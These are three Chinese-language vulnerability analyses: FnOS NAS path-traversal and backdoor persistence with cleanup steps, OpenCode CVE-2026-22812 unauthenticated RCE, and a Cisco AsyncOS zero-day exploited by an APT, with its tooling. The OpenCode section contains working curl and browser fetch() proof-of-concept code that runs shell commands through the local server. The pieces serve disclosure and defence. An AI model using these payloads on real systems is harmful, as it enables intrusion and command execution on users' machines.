飞牛OS多个重大漏洞安全事件技术分析
飞牛OS多个重大漏洞安全事件技术分析一、事件概述1. 事件背景2025 年 1 月，飞牛 OS（FnOS）被曝出存在多个严重安全漏洞，导致大量暴露于公网的 NAS 设备遭到攻击。攻击者利用漏洞植入恶意程序，实施挖矿、僵尸网络等恶意活动。2. 影响范围A. 影响用户数所有使用飞牛 OS（FnOS）且将设备暴露于公网的用户，具体数量未公开，但多个技术社区报告大量用户受影响。B. 影响时长漏洞公开时间约为 2025 年 1 月中旬，目前攻击活动仍在持续。C. 影响功能未授权文件访问恶意程序植入系统配置被篡改自动更新机制被破坏3. 严重程度严重（Critical）——CVSS 评分预计 9.0+，核心原因包括：远程未授权访问完整系统控制权攻击成本低且易于自动化持久化机制完善二、漏洞详情1. CVE-2025-55182：目录遍历漏洞A. 漏洞描述飞牛 OS 的 app-center-static 组件存在严重的目录遍历漏洞，攻击者可未经授权访问系统任意文件。B. 技术细节漏洞类型：路径穿越（Path Traversal）影响组件：app-center-static根本原因：开发者在使用 Gin 框架时编写了不安全的文件处理逻辑CVE 编号：CVE-2025-55182C. 攻击向量通过 Web 端口发送特制请求，绕过路径验证机制，实现任意文件读取。2. 后门植入与持久化机制A. 恶意程序特征根据社区分析，攻击者植入的恶意程序具有以下特征：文件路径说明/sbin/gots后门主体程序/etc/rc.local启动脚本持久化/etc/rc.d/rc.local启动脚本持久化systemd 服务创建系统服务实现自启动B. 文件保护机制所有可疑文件均被添加了不可修改属性（immutable flag），即使 root 用户也无法直接删除，需要特殊处理才能清除。C. 攻击能力挖矿木马植入僵尸网络控制SSH 密钥窃取横向移动能力3. 攻击链分析graph LR A[公网扫描] --> B{漏洞探测} B -->|发现目标| C[目录遍历攻击] C --> D[读取敏感文件] D --> E[窃取凭据] E --> F[植入后门] F --> G[持久化] G --> H[挖矿/僵尸网络] H --> I[阻止自动更新] I --> J[重置防火墙]三、问题分析1. 直接原因app-center-static 组件存在未经验证的路径遍历漏洞系统默认暴露于公网，缺乏安全防护内网穿透工具（如 Cloudflare Tunnel）同样可被利用2. 根本原因（5 Whys 分析）A. 为什么出现这个问题？开发者在实现文件处理功能时，未对用户输入进行充分的路径验证，导致目录遍历攻击。B.为什么没有及时发现问题？代码 Review 流程可能存在疏漏，未进行安全审计；缺乏自动化安全测试。C. 为什么升级后仍不安全？攻击者在获取系统控制权后，会：阻止系统自动更新重置防火墙规则植入持久化后门即使升级到 1.1.15 版本，已被入侵的设备仍无法完全清除威胁D. 为什么影响范围这么大？大量用户将 NAS 直接暴露在公网，使用内网穿透工具却未意识到这同样会增加攻击面。E. 为什么攻击如此广泛？漏洞利用简单，可完全自动化扫描和攻击；多个攻击团伙同时利用该漏洞。3. 深层反思NAS 设备安全性设计不足，默认配置过于开放缺乏入侵检测和应急响应机制用户安全教育不足四、攻击团伙分析1. 攻击类型根据搜索结果和行业经验，利用该漏洞的攻击团伙包括：攻击类型目的特征挖矿团伙加密货币挖掘CPU 占用高、植入 XMRig 等挖矿软件僵尸网络DDoS 攻击服务植入 Lucifer、Kaiji 等僵尸网络木马勒索软件数据加密勒索加密用户文件、索要赎金2. 攻击时间线sequenceDiagram participant S as 扫描器 participant T as 目标NAS participant A as 攻击者 participant C as C2服务器 S->>T: 端口扫描 S->>T: 漏洞探测 S->>A: 发现漏洞 A->>T: 目录遍历攻击 A->>T: 读取配置文件 A->>T: 植入 gots 后门 A->>T: 设置持久化 T->>C: 连接 C2 服务器 C->>T: 下发挖矿任务 T->>T: 执行挖矿 A->>T: 阻止自动更新 A->>T: 重置防火墙五、解决方案1. 临时方案（已受入侵设备）A. 紧急隔离立即断开网络连接禁用所有公网访问关闭内网穿透工具B. 后门清除移除文件不可修改属性：chattr -i /sbin/gots chattr -i /etc/rc.local删除后门文件：rm -f /sbin/gots rm -f /etc/rc.local.bak检查并清理 systemd 服务：systemctl list-units --type=service | grep -i gots systemctl disable --now <可疑服务名>C. 使用官方专杀脚本飞牛官方论坛提供了 0day 后门专杀脚本，可帮助用户检测和清除后门。2. 永久方案A. 系统升级升级到 FnOS 1.1.15 或更高版本注意：仅升级无法清除已植入的后门B. 安全加固关闭所有不必要的端口映射使用 VPN（如 Tailscale）进行远程访问启用防火墙并限制仅内网访问修改所有密码（管理界面、SSH）定期检查 /var/log/auth.log 日志C. 架构改进将 NAS 部署在隔离网络中使用容器化或虚拟化隔离避免将 NAS 直接暴露在公网3. 预防措施A. 用户层面非必要不开启公网访问使用零信任网络（如 Tailscale、ZeroTier）定期备份重要数据关注官方安全公告B. 厂商层面建立安全开发生命周期（SDL）引入自动化安全测试建立漏洞奖励计划加强用户安全教育六、经验总结1. 事件特点漏洞利用简单，攻击成本低多个攻击团伙同时利用持久化机制完善，清除困难升级无法完全解决已受入侵设备的问题2. 行业启示NAS 设备安全性亟需提升默认安全策略应更加保守需要建立入侵检测机制用户安全教育非常重要3. 技术教训输入验证是安全的基础深度防御机制必不可少自动化安全测试应成为标配事件响应流程需要完善参考资料飞牛系统（fnOS）app-center-static 目录遍历导致的任意文件读取 - Mrxn's Blog飞牛OS 疑似0day 漏洞，许多用户设备遭到攻击 - V2EX紧急安全预警 关于飞牛OS (FnOS) 疑似0-day 漏洞 - NodeSeek国产飞牛系统fnOS疑似出现重大安全漏洞官方已修复但没有通知用户 - 陆地科技网飞牛OS 存在重大安全漏洞, 近期请不要将飞牛实例暴露于公网 - Linux.dofnos 恶意程序分析 - 飞牛私有云论坛飞牛0day后门专杀脚本 - 飞牛私有云论坛飞牛NAS设置Cloudflare tunnel内网穿透 - 怕刺博客信息安全领域研究员Lnyas Zhang深度调研报告 - Unifuncs飞牛OS安全性的讨论 - 知乎
OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析
OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析一、漏洞概述1. 基本信息A. 漏洞编号CVE-2026-22812、GHSA-vxw4-wv6m-9hhhB. 影响产品OpenCode（开源 AI 编码代理工具）C. 漏洞类型未认证远程代码执行（Remote Code Execution, RCE）D. 严重程度CVSS 3.1 评分：8.8（高危）CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HE. 公开时间2026 年 1 月 12 日2. 漏洞描述OpenCode 在 1.0.216 版本之前，会自动启动一个未经身份验证的 HTTP 服务器。该服务器配置了过于宽松的 CORS（跨域资源共享）策略，允许任意来源的跨域请求。攻击者可以通过两种方式利用此漏洞：本地进程直接向服务器发送恶意请求诱导用户访问恶意网站，通过浏览器向本地服务器发送跨域请求成功利用后，攻击者可以以运行 OpenCode 的用户权限执行任意 shell 命令。3. 影响范围A. 受影响版本OpenCode < 1.0.216B. 修复版本OpenCode >= 1.0.216二、技术分析1. 根本原因A. 未认证的 HTTP 服务器OpenCode 启动时会自动创建一个 HTTP 服务器（默认监听端口 4096+），该服务器没有任何身份验证机制。关键代码位于 cli/cmd/tui/worker.ts:36，通过 Server.listen() 启动服务器。B. 危险的 API 端点服务器暴露了多个高危端点，无需认证即可调用：POST /session/:id/shell功能：执行 shell 命令位置：server.ts:1401参数：agent（代理类型）、command（要执行的命令）POST /pty功能：创建交互式终端会话位置：server.ts:267GET /file/content?path=功能：读取任意文件内容位置：server.ts:1868C. 宽松的 CORS 策略服务器使用默认的 CORS 配置 .use(cors())，这会设置 Access-Control-Allow-Origin: *，允许任何网站向本地服务器发送跨域请求。2. 漏洞原理A. 攻击链路graph TB A[攻击者] --> B{攻击方式} B -->|本地攻击| C[恶意进程] B -->|浏览器攻击| D[恶意网站] C --> E[http://127.0.0.1:4096] D --> F[浏览器跨域请求] F --> E E --> G[POST /session/:id/shell] G --> H[执行任意命令] H --> I[获取用户权限]B. 本地攻击场景任何本地进程（如恶意 npm 包、被感染的应用程序）都可以直接向本地 OpenCode 服务器发送请求执行命令。由于服务器没有认证机制，攻击者可以直接调用危险端点。C. 浏览器攻击场景恶意网站可以利用浏览器向本地服务器发起跨域请求。由于 OpenCode 服务器配置了宽松的 CORS 策略，浏览器不会阻止这些请求。3. 漏洞复现A. 本地利用 PoCAPI="http://127.0.0.1:4096" SESSION_ID=$(curl -s -X POST "$API/session" \ -H "Content-Type: application/json" \ -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION_ID/shell" \ -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txtB. 浏览器利用 PoC恶意网站可以嵌入以下 JavaScript 代码：fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ agent: 'build', command: 'id > /tmp/pwned.txt' }) }); });注意事项：Firefox 浏览器可以直接利用Chrome 142+ 版本可能会提示本地网络访问权限三、影响分析1. 攻击向量A. 本地进程攻击任何运行的恶意软件都可以利用此漏洞获取用户权限执行命令。B. 驱动下载攻击用户访问恶意网站时，网站通过浏览器向本地 OpenCode 服务器发送请求，静默执行恶意命令。C. 内网横向移动如果 OpenCode 使用 --mdns 标志启动，服务器会绑定到 0.0.0.0 并通过 Bonjour 广播，攻击面扩大到整个本地网络。2. 潜在危害执行任意 shell 命令读取任意文件内容创建交互式终端会话获取用户级别的系统权限进一步提权或部署后门3. 攻击难度利用难度：低无需认证PoC 代码简单无需用户交互（浏览器攻击）四、修复方案1. 官方修复OpenCode 团队在 1.0.216 版本中修复了此漏洞，主要改进：限制 CORS 允许的来源添加身份验证机制移除或保护危险端点2. 升级建议所有 OpenCode 用户应立即更新到 1.0.216 或更高版本：npm update -g opencode-ai@latest或从官方发布页面下载：https://github.com/anomalyco/opencode/releases3. 临时缓解措施如果无法立即升级，可以采取以下措施：停止运行 OpenCode使用防火墙阻止端口 4096 的入站连接不要在浏览网页时运行 OpenCode五、安全启示1. 本地服务安全设计原则本地服务不等于安全服务必须实施严格的身份验证机制限制 CORS 策略为必要的来源2. 开发安全建议避免在本地服务中暴露高危功能如果必须暴露，务必添加认证审查所有 API 端点的安全配置3. 用户安全意识开发工具同样存在安全风险及时更新到最新版本不要在浏览网页时运行不必要的开发工具六、时间线2025-11-17：研究者通过邮件向 support@sst.dev 报告漏洞2026-01-12：漏洞公开披露，同时发布修复版本2026-01-13：CVE 编号分配（CVE-2026-22812）参考资料Miggo Vulnerability Database - CVE-2026-22812The Hacker Wire - OpenCode Agent RCE via Unauthenticated Local ServerSecRSS - OpenCode远程代码执行漏洞 (CVE-2026-22812) 安全风险通告GitHub Security Advisory - GHSA-vxw4-wv6m-9hhhNVD - CVE-2026-22812
Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析
Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析一、新闻概述1. 标题Cisco 修复零日 RCE 漏洞：中国相关 APT 组织针对安全邮件网关的攻击分析2. 发布时间2026 年 1 月 16 日3. 来源The Hacker News二、核心内容1. 事件摘要A. 主要内容Cisco 在周四发布安全更新，修复了一个影响 Cisco Secure Email Gateway 和 Cisco Secure Email and Web Manager 的 Cisco AsyncOS Software 的最高严重级别安全漏洞。B. 核心亮点漏洞编号 CVE-2025-20393，CVSS 评分满分 10.0中国相关 APT 组织（代号 UAT-9686）已在零日攻击中利用该漏洞攻击者可获得受影响设备底层操作系统的 root 权限Cisco 已在多个版本中发布修复补丁2. 关键信息A. 漏洞编号CVE-2025-20393B. 严重程度CVSS 评分 10.0（最高严重级别）C. 涉及产品Cisco Secure Email Gateway（邮件安全网关）Cisco Secure Email and Web Manager（安全邮件和 Web 管理器）Cisco AsyncOS SoftwareD. 攻击者中国相关 APT 组织，代号 UAT-96863. 背景介绍A. 漏洞发现时间2025 年 11 月底，Cisco 发现该漏洞被主动利用B. 相关上下文这是 Cisco 在近一个月后正式发布的安全补丁，此前已披露该零日漏洞的存在二、核心内容1. 事件摘要A. 主要内容Cisco 发布安全更新，修复影响 Cisco AsyncOS Software 的远程命令执行漏洞，该漏洞已被中国相关 APT 组织在零日攻击中利用。B. 核心亮点CVE-2025-20393，CVSS 评分 10.0（最高严重级别）远程命令执行漏洞，可获得 root 权限Spam Quarantine 功能的 HTTP 请求验证不足导致漏洞UAT-9686 组织自 2025 年 11 月底开始利用2. 关键信息A. 漏洞详情编号：CVE-2025-20393评分：CVSS 10.0类型：远程命令执行（RCE）原因：Spam Quarantine 功能对 HTTP 请求验证不足B. 影响版本Cisco AsyncOS Software Release 14.2 及更早版本Cisco AsyncOS Software Release 15.0Cisco AsyncOS Software Release 15.5Cisco AsyncOS Software Release 16.0C. 攻击时间线最早利用时间：2025 年 11 月底披露时间：2025 年 12 月补丁发布：2026 年 1 月3. 背景介绍A. 攻击组织UAT-9686，与中国相关的 APT 组织B. 攻击工具链ReverseSSH（AquaTunnel）：隧道工具Chisel：隧道工具AquaPurge：日志清理工具AquaShell：轻量级 Python 后门三、详细报道1. 漏洞技术细节A. 漏洞描述CVE-2025-20393 是一个远程命令执行漏洞，源于 Spam Quarantine 功能对 HTTP 请求的验证不足。成功利用该漏洞，攻击者可以在受影响设备的底层操作系统上以 root 权限执行任意命令。B. 利用条件攻击要成功，必须满足三个条件：设备运行存在漏洞的 Cisco AsyncOS Software 版本设备配置了 Spam Quarantine 功能Spam Quarantine 功能暴露在互联网上且可访问C. 攻击流程graph TD A[攻击者扫描] --> B{发现暴露的 Spam Quarantine} B -->|是| C[发送恶意 HTTP 请求] B -->|否| D[无法利用] C --> E{验证绕过成功?} E -->|是| F[执行任意命令 root 权限] E -->|否| D F --> G[部署后门工具] G --> H[建立持久化] H --> I[清理日志]D. 攻击者工具链攻击者使用了一系列工具来维持访问和隐藏踪迹：ReverseSSH（AquaTunnel）：SSH 反向隧道工具，用于建立隐蔽的通信通道Chisel：另一种隧道工具，提供更灵活的隧道功能AquaPurge：日志清理工具，用于删除攻击痕迹AquaShell：轻量级 Python 后门，可接收编码命令并执行2. 修复版本信息A. Cisco Email Security Gateway 修复版本Cisco AsyncOS Software Release 14.2 及更早版本：修复于 15.0.5-016Cisco AsyncOS Software Release 15.0：修复于 15.0.5-016Cisco AsyncOS Software Release 15.5：修复于 15.5.4-012Cisco AsyncOS Software Release 16.0：修复于 16.0.4-016B. Secure Email and Web Manager 修复版本Cisco AsyncOS Software Release 15.0 及更早版本：修复于 15.0.2-007Cisco AsyncOS Software Release 15.5：修复于 15.5.4-007Cisco AsyncOS Software Release 16.0：修复于 16.0.4-010C. 附加修复措施除了修复漏洞本身，Cisco 还移除了在此次攻击活动中发现的持久化机制。3. 安全加固建议A. 网络隔离防止来自非安全网络的访问将设备置于防火墙之后B. 监控与检测监控 Web 日志流量，查找异常的设备出入站流量C. 配置加固禁用主管理员门户的 HTTP禁用不需要的网络服务实施强化的最终用户身份验证（如 SAML 或 LDAP）更改默认管理员密码为更安全的密码四、影响分析1. 行业影响A. 威胁态势APT 组织持续针对企业安全网关设备零日漏洞利用时间窗口缩短，从发现到披露再到修复的时间压缩网络边界设备成为高价值攻击目标B. 防御挑战边界设备通常暴露在互联网上传统防护措施难以检测经过加密的隧道流量攻击者使用合法工具（如 SSH 隧道）难以被识别2. 用户影响A. 风险评估使用受影响版本且 Spam Quarantine 功能暴露在互联网上的用户面临最高风险。B. 紧急程度CVSS 评分 10.0 表明这是一个极其严重的漏洞，需要立即采取行动。C. 修复建议立即应用 Cisco 提供的安全补丁检查系统是否存在被入侵的迹象实施加固措施以防止未来攻击3. 技术趋势A. 攻击趋势APT 组织使用更复杂的工具链维持持久化访问日志清理工具的使用显示攻击者的规避意识增强多种隧道工具的使用提高攻击的隐蔽性B. 防御趋势厂商响应速度加快，从披露到补丁发布的周期缩短补丁不仅修复漏洞，还移除已知的持久化机制五、攻击组织分析1. UAT-9686 组织概况A. 归属与中国相关的 APT 组织B. 攻击目标企业级安全网关设备C. 能力特征具备零日漏洞利用能力使用自定义工具链（AquaTunnel、AquaPurge、AquaShell）注重攻击隐蔽性和持久化2. 攻击工具链分析graph LR A[初始入侵 CVE-2025-20393] --> B[建立访问 ReverseSSH] B --> C[持久化 AquaShell 后门] C --> D[横向移动 Chisel 隧道] D --> E[痕迹清理 AquaPurge]A. ReverseSSH（AquaTunnel）SSH 反向隧道工具，允许攻击者通过目标设备建立的连接回连到攻击者控制的服务器，绕过防火墙限制。B. Chisel基于 HTTP 的快速隧道工具，使用 SSH 加密提供安全隧道，常用于穿透 restrictive 网络。C. AquaPurge专门的日志清理工具，用于删除攻击痕迹，使检测更加困难。D. AquaShell轻量级 Python 后门，可接收编码命令并执行，为攻击者提供持久化访问能力。六、防护建议1. 紧急响应措施A. 立即行动检查设备是否运行受影响版本确认 Spam Quarantine 功能是否暴露在互联网查看日志中是否存在异常活动应用 Cisco 提供的安全补丁B. 指纹识别（IOCs）检查是否存在以下迹象：异常的 SSH 连接未知的 Python 进程Web 日志中的异常请求模式系统日志的异常删除行为2. 长期加固措施A. 网络架构将管理界面部署在内网，不直接暴露于互联网使用 VPN 或跳板机访问管理界面实施网络分段，限制管理平面的访问B. 访问控制强制使用多因素认证实施最小权限原则定期审计管理员账户C. 监控与检测部署日志审计系统，实时监控异常行为建立基于行为的检测规则定期进行安全评估和渗透测试七、参考资料参考资料Cisco Security Advisory cisco-sa-sma-attack-N9bf4Cisco Patches Zero-Day RCE Exploited by China-Linked APT in Secure Email Gateways